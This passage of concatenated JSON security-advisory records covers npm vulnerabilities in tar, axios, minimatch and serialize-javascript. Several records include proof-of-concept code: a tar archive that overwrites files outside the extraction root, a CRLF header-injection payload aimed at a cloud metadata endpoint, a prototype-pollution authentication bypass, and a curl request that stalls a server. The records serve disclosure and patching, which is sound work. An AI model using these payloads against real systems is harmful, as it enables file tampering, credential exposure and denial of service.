          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29786"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-05T00:52:32Z",
    "nvd_published_at": "2026-03-07T16:15:55Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.\n\nWhat happens with `linkpath: \"C:../target.txt\"`:\n1. Split on `/` gives `[\u0027C:..\u0027, \u0027target.txt\u0027]`, so `parts.includes(\u0027..\u0027)` is false.\n2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.\n3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.\n4. Writing through the extracted hardlink overwrites the outside file.\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.9`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require(\u0027fs\u0027)\nconst path = require(\u0027path\u0027)\nconst { Header, x } = require(\u0027tar\u0027)\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, \u0027..\u0027, \u0027target.txt\u0027)\nconst tarFile = path.join(process.cwd(), \u0027poc.tar\u0027)\n\nfs.writeFileSync(target, \u0027ORIGINAL\\n\u0027)\n\nconst b = Buffer.alloc(1536)\nnew Header({ path: \u0027l\u0027, type: \u0027Link\u0027, linkpath: \u0027C:../target.txt\u0027 }).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() =\u003e {\n  fs.writeFileSync(path.join(cwd, \u0027l\u0027), \u0027PWNED\\n\u0027)\n  process.stdout.write(fs.readFileSync(target, \u0027utf8\u0027))\n})\n```\n\nRun:\n\n```bash\ncd test-workspace\nnode poc.cjs \u0026\u0026 ls -l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files",
  "id": "GHSA-qffp-2rhf-9h96",
  "modified": "2026-03-09T15:49:59Z",
  "published": "2026-03-05T00:52:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29786"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/node-tar"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "tar has Hardlink Path Traversal via Drive-Relative Linkpath"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40175"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113",
      "CWE-444",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:47:16Z",
    "nvd_published_at": "2026-04-10T20:16:22Z",
    "severity": "MODERATE"
  },
  "details": "# Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain\n\n## Summary\nThe Axios library is vulnerable to a specific gadget-style attack chain in which **prototype pollution** in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.\n\nAxios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (`\\r\\n`) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.\n\n**Severity**: Moderate (CVSS 3.1 Base Score: 4.8)\n**Affected Versions**: All versions (v0.x - v1.x)\n**Vulnerable Component**: `lib/adapters/http.js` (Header Processing)\n\n## Usage of \\\"Helper\\\" Vulnerabilities\nThis issue requires a separate **prototype pollution** vulnerability in another library in the application stack (for example, `qs`, `minimist`, `ini`, or `body-parser`). If an attacker can pollute `Object.prototype`, Axios may pick up the polluted properties during config merge.\n\nBecause Axios does not sanitise these merged header values for CRLF (`\\r\\n`) characters, the polluted property can alter the structure of an outbound HTTP request.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\nImagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:\n```javascript\nObject.prototype[\u0027x-amz-target\u0027] = \\\"dummy\\r\\n\\r\\nPUT /latest/api/token HTTP/1.1\\r\\nHost: 169.254.169.254\\r\\nX-aws-ec2-metadata-token-ttl-seconds: 21600\\r\\n\\r\\nGET /ignore\\\";\n```\n\n### 2. The Gadget Trigger (Safe Code)\nThe application makes a completely safe, hardcoded request:\n```javascript\n// This looks safe to the developer\nawait axios.get(\u0027https://analytics.internal/pings\u0027); \n```\n\n### 3. The Execution\nAxios merges the prototype property `x-amz-target` into the request headers. It then writes the header value directly to the socket without validation.\n\n**Resulting HTTP traffic:**\n```http\nGET /pings HTTP/1.1\nHost: analytics.internal\nx-amz-target: dummy\n\nPUT /latest/api/token HTTP/1.1\nHost: 169.254.169.254\nX-aws-ec2-metadata-token-ttl-seconds: 21600\n\nGET /ignore HTTP/1.1\n...\n```\n\n### 4. The Impact\nIn environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.\n\n## Impact Analysis\n-   **Confidentiality**: May expose limited sensitive information in affected network environments.\n-   **Integrity**: May allow modification of outbound request structure or injected headers.\n-   **Attack Complexity**: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.\n\n## Recommended Fix\nValidate all header values in `lib/adapters/http.js` and `xhr.js` before passing them to the underlying request function.\n\n**Patch Suggestion:**\n```javascript\n// In lib/adapters/http.js\nutils.forEach(requestHeaders, function setRequestHeader(val, key) {\n  if (/[\\r\\n]/.test(val)) {\n    throw new Error(\u0027Security: Header value contains invalid characters\u0027);\n  }\n  // ... proceed to set header\n});\n```\n\n## References\n-   **OWASP**: CRLF Injection (CWE-113)\n\nThis report was generated as part of a security audit of the Axios library.",
  "id": "GHSA-fvcv-3m26-pcqx",
  "modified": "2026-05-20T00:25:27Z",
  "published": "2026-04-10T19:47:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40175"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/10660"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/10660#issuecomment-4224168081"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/10688"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-876049.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v0.31.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.15.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42041"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:21:39Z",
    "nvd_published_at": "2026-04-24T18:16:31Z",
    "severity": "MODERATE"
  },
  "details": "# Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution to **silently suppress all HTTP error responses** (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.\n\nThe root cause is that `validateStatus` is the **only** config property using the `mergeDirectKeys` merge strategy, which uses JavaScript\u0027s `in` operator \u2014 an operator that inherently traverses the prototype chain. When `Object.prototype.validateStatus` is polluted with `() =\u003e true`, all HTTP status codes are accepted as success.\n\n**Severity:** High (CVSS 8.2)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/core/mergeConfig.js` (`mergeDirectKeys` strategy) + `lib/core/settle.js`\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)\n- **CWE-287:** Improper Authentication\n\n## CVSS 3.1\n\n**Score: 8.2 (High)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely |\n| Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Impact within the application |\n| Confidentiality | Low | 401 treated as success may expose data behind auth gates |\n| Integrity | High | All error handling and auth checks are silently bypassed \u2014 application operates on invalid assumptions |\n| Availability | None | The function works correctly (returns true), no crash |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack, Axios will automatically inherit the polluted `validateStatus` function during config merge. The `in` operator in `mergeDirectKeys` makes this property **uniquely susceptible** to prototype pollution compared to all other config properties.\n\n## Why `validateStatus` Is Uniquely Vulnerable\n\nAll other config properties use `defaultToConfig2`, which reads `config2[prop]` (traverses prototype). But `validateStatus` uses `mergeDirectKeys`, which uses the `in` operator:\n\n```javascript\n// mergeConfig.js:58-64 \u2014 mergeDirectKeys (ONLY used by validateStatus)\nfunction mergeDirectKeys(a, b, prop) {\n  if (prop in config2) {           // \u2190 `in` traverses prototype chain!\n    return getMergedValue(a, b);\n  } else if (prop in config1) {\n    return getMergedValue(undefined, a);\n  }\n}\n\n// mergeConfig.js:94\nconst mergeMap = {\n  // ... all others use defaultToConfig2 ...\n  validateStatus: mergeDirectKeys,   // \u2190 ONLY property using this strategy\n};\n```\n\nThe `in` operator is a **more aggressive** prototype traversal than property access. While `config2[\u0027validateStatus\u0027]` also traverses the prototype, the explicit `in` check makes the intent clearer and the vulnerability more direct.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\n\n```javascript\nObject.prototype.validateStatus = () =\u003e true;\n```\n\n### 2. The Gadget Trigger (Safe Code)\n\n```javascript\n// Application checks authentication via HTTP status codes\ntry {\n  const response = await axios.get(\u0027https://api.internal/admin/users\u0027);\n  // Developer expects: 401 \u2192 catch block \u2192 redirect to login\n  // Reality: 401 \u2192 treated as success \u2192 displays admin data\n  processAdminData(response.data);  // Executes with 401 response body!\n} catch (error) {\n  redirectToLogin();  // NEVER REACHED for 401/403/500\n}\n```\n\n### 3. The Execution\n\n```javascript\n// mergeConfig.js:58 \u2014 \u0027validateStatus\u0027 in config2\n// config2 = { url: \u0027/admin/users\u0027, method: \u0027get\u0027 }\n// \u0027validateStatus\u0027 in config2 \u2192 checks prototype \u2192 finds () =\u003e true \u2192 TRUE\n// \u2192 getMergedValue(defaultValidator, () =\u003e true) \u2192 returns () =\u003e true\n\n// settle.js:16 \u2014 ALL status codes resolve\nconst validateStatus = response.config.validateStatus;  // () =\u003e true\nif (!response.status || !validateStatus || validateStatus(response.status)) {\n  resolve(response);  // 401, 403, 500 all resolve here!\n}\n```\n\n### 4. The Impact\n\n```\nBefore pollution:\n  HTTP 200 \u2192 resolve (success)\n  HTTP 401 \u2192 reject (auth error) \u2192 redirectToLogin()\n  HTTP 403 \u2192 reject (forbidden) \u2192 showAccessDenied()\n  HTTP 500 \u2192 reject (server error) \u2192 showErrorPage()\n\nAfter pollution:\n  HTTP 200 \u2192 resolve (success)\n  HTTP 401 \u2192 resolve (SUCCESS!) \u2192 processAdminData() with error body\n  HTTP 403 \u2192 resolve (SUCCESS!) \u2192 application thinks user has access\n  HTTP 500 \u2192 resolve (SUCCESS!) \u2192 application processes error as data\n```\n\n## Verified PoC Output\n\n```\n--- Before Pollution ---\n401: REJECTED as expected - Request failed with status code 401\n500: REJECTED as expected - Request failed with status code 500\n\n--- After Pollution ---\n200: RESOLVED as success (status: 200)\n301: RESOLVED as success (status: 301)\n401: RESOLVED as success (status: 401)\n403: RESOLVED as success (status: 403)\n404: RESOLVED as success (status: 404)\n500: RESOLVED as success (status: 500)\n503: RESOLVED as success (status: 503)\n\n--- Authentication Bypass Demo ---\nAuth check bypassed! 401 treated as success.\nApplication proceeds with: { status: 401, message: \u0027Response with status 401\u0027 }\n```\n\n## Impact Analysis\n\n- **Authentication Bypass:** Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources.\n- **Silent Error Swallowing:** 500-series errors are treated as success, causing applications to process error bodies as valid data \u2014 leading to data corruption or logic errors.\n- **Security Control Bypass:** Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed.\n- **Universal Scope:** Affects every axios instance in the application, including third-party libraries.\n\n## Recommended Fix\n\nReplace the `in` operator with `hasOwnProperty` in `mergeDirectKeys`:\n\n```javascript\n// FIXED: lib/core/mergeConfig.js\nfunction mergeDirectKeys(a, b, prop) {\n  if (Object.prototype.hasOwnProperty.call(config2, prop)) {\n    return getMergedValue(a, b);\n  } else if (Object.prototype.hasOwnProperty.call(config1, prop)) {\n    return getMergedValue(undefined, a);\n  }\n}\n```\n\n## Resources\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [CWE-287: Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [MDN: `in` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/in)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-15 | Vulnerability discovered during source code audit |\n| 2026-04-15 | PoC developed and vulnerability confirmed |\n| 2026-04-16 | Report revised for accuracy |\n| TBD | Report submitted to vendor via GitHub Security Advisory |",
  "id": "GHSA-w9j2-pvgh-6h63",
  "modified": "2026-05-05T00:21:40Z",
  "published": "2026-05-05T00:21:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42041"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27903"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-26T22:10:18Z",
    "nvd_published_at": "2026-02-26T02:16:21Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.\n\n---\n\n### Details\n\nThe vulnerable loop is in `matchOne()` at [`src/index.ts#L960`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L960):\n\n```typescript\nwhile (fr \u003c fl) {\n  ..\n  if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {\n    ..\n    return true\n  }\n  ..\n  fr++\n}\n```\n\nWhen a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each `**` multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).\n\nThere is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning `false` on a non-matching input.\n\nMeasured timing with n=30 path segments:\n\n| k (globstars) | Pattern size | Time     |\n|---------------|--------------|----------|\n| 7             | 36 bytes     | ~154ms   |\n| 9             | 46 bytes     | ~1.2s    |\n| 11            | 56 bytes     | ~5.4s    |\n| 12            | 61 bytes     | ~9.7s    |\n| 13            | 66 bytes     | ~15.9s   |\n\n---\n\n### PoC\n\nTested on minimatch@10.2.2, Node.js 20.\n\n**Step 1 -- inline script**\n\n```javascript\nimport { minimatch } from \u0027minimatch\u0027\n\n// k=9 globstars, n=30 path segments\n// pattern: 46 bytes, default options\nconst pattern = \u0027**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b\u0027\nconst path    = \u0027a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a\u0027\n\nconst start = Date.now()\nminimatch(path, pattern)\nconsole.log(Date.now() - start + \u0027ms\u0027) // ~1200ms\n```\n\nTo scale the effect, increase k:\n\n```javascript\n// k=11 -\u003e ~5.4s, k=13 -\u003e ~15.9s\nconst k = 11\nconst pattern = Array.from({ length: k }, () =\u003e \u0027**/a\u0027).join(\u0027/\u0027) + \u0027/b\u0027\nconst path    = Array(30).fill(\u0027a\u0027).join(\u0027/\u0027)\nminimatch(path, pattern)\n```\n\nNo special options are required. This reproduces with the default `minimatch()` call.\n\n**Step 2 -- HTTP server (event loop starvation proof)**\n\nThe following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:\n\n```javascript\n// poc1-server.mjs\nimport http from \u0027node:http\u0027\nimport { URL } from \u0027node:url\u0027\nimport { minimatch } from \u0027minimatch\u0027\n\nconst PORT = 3000\n\nconst server = http.createServer((req, res) =\u003e {\n  const url = new URL(req.url, `http://localhost:${PORT}`)\n  if (url.pathname !== \u0027/match\u0027) { res.writeHead(404); res.end(); return }\n\n  const pattern = url.searchParams.get(\u0027pattern\u0027) ?? \u0027\u0027\n  const path    = url.searchParams.get(\u0027path\u0027) ?? \u0027\u0027\n\n  const start  = process.hrtime.bigint()\n  const result = minimatch(path, pattern)\n  const ms     = Number(process.hrtime.bigint() - start) / 1e6\n\n  res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 })\n  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + \u0027\\n\u0027)\n})\n\nserver.listen(PORT)\n```\n\nTerminal 1 -- start the server:\n```\nnode poc1-server.mjs\n```\n\nTerminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:\n```\ncurl \"http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb\u0026path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa\" \u0026\n```\n\nTerminal 3 -- while the attack is in-flight, send a benign request:\n```\ncurl -w \"\\ntime_total: %{time_total}s\\n\" \"http://localhost:3000/match?pattern=**%2Fy%2Fz\u0026path=x%2Fy%2Fz\"\n```\n\n**Observed output (Terminal 3):**\n```\n{\"result\":true,\"ms\":\"0\"}\n\ntime_total: 4.132709s\n```\n\nThe server reports `\"ms\":\"0\"` -- the legitimate request itself takes zero processing time. The 4+ second `time_total` is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:\n\n```\n{\"result\":true,\"ms\":\"0\"}\n\ntime_total: 0.001599s\n```\n\n---\n\n### Impact\n\nAny application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.",
  "id": "GHSA-7r86-cg39-jmmj",
  "modified": "2026-02-26T22:10:18Z",
  "published": "2026-02-26T22:10:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/minimatch/security/advisories/GHSA-7r86-cg39-jmmj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27903"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/minimatch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "serialize-javascript"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "7.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34043"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-834"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T18:18:54Z",
    "nvd_published_at": "2026-03-31T03:15:58Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\n**What kind of vulnerability is it?**\n\nIt is a **Denial of Service (DoS)** vulnerability caused by CPU exhaustion. When serializing a specially crafted \"array-like\" object (an object that inherits from `Array.prototype` but has a very large `length` property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely.\n\n**Who is impacted?**\n\nApplications that use `serialize-javascript` to serialize untrusted or user-controlled objects are at risk. While direct exploitation is difficult, it becomes a high-priority threat if the application is also vulnerable to **Prototype Pollution** or handles untrusted data via **YAML Deserialization**, as these could be used to inject the malicious object.\n\n### Patches\n\n**Has the problem been patched?**\n\nYes, the issue has been patched by replacing `instanceof Array` checks with `Array.isArray()` and using `Object.keys()` for sparse array detection.\n\n**What versions should users upgrade to?**\n\nUsers should upgrade to **`v7.0.5`** or later.\n\n### Workarounds\n\n**Is there a way for users to fix or remediate the vulnerability without upgrading?**\n\nThere is no direct code-level workaround within the library itself. However, users can mitigate the risk by:\n\n* Validating and sanitizing all input before passing it to the `serialize()` function.\n* Ensuring the environment is protected against Prototype Pollution.\n* Upgrading to **`v7.0.5`** as soon as possible.\n\n### Acknowledgements\n\nSerialize JavaScript thanks **Tomer Aberbach** (@TomerAberbach) for discovering and privately disclosing this issue.",
  "id": "GHSA-qj8w-gfj5-8c6v",
  "modified": "2026-05-21T18:30:13Z",
  "published": "2026-03-27T18:18:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-qj8w-gfj5-8c6v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34043"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yahoo/serialize-javascript/commit/f147e90269b58bb6e539cfdf3d0e20d6ad14204b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yahoo/serialize-javascript"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yahoo/serialize-javascript/releases/tag/v5.0.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Serialize JavaScript has CPU Exhaustion Denial of Service via crafted array-like objects"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42040"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-626"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:18:03Z",
    "nvd_published_at": "2026-04-24T18:16:30Z",
    "severity": "LOW"
  },
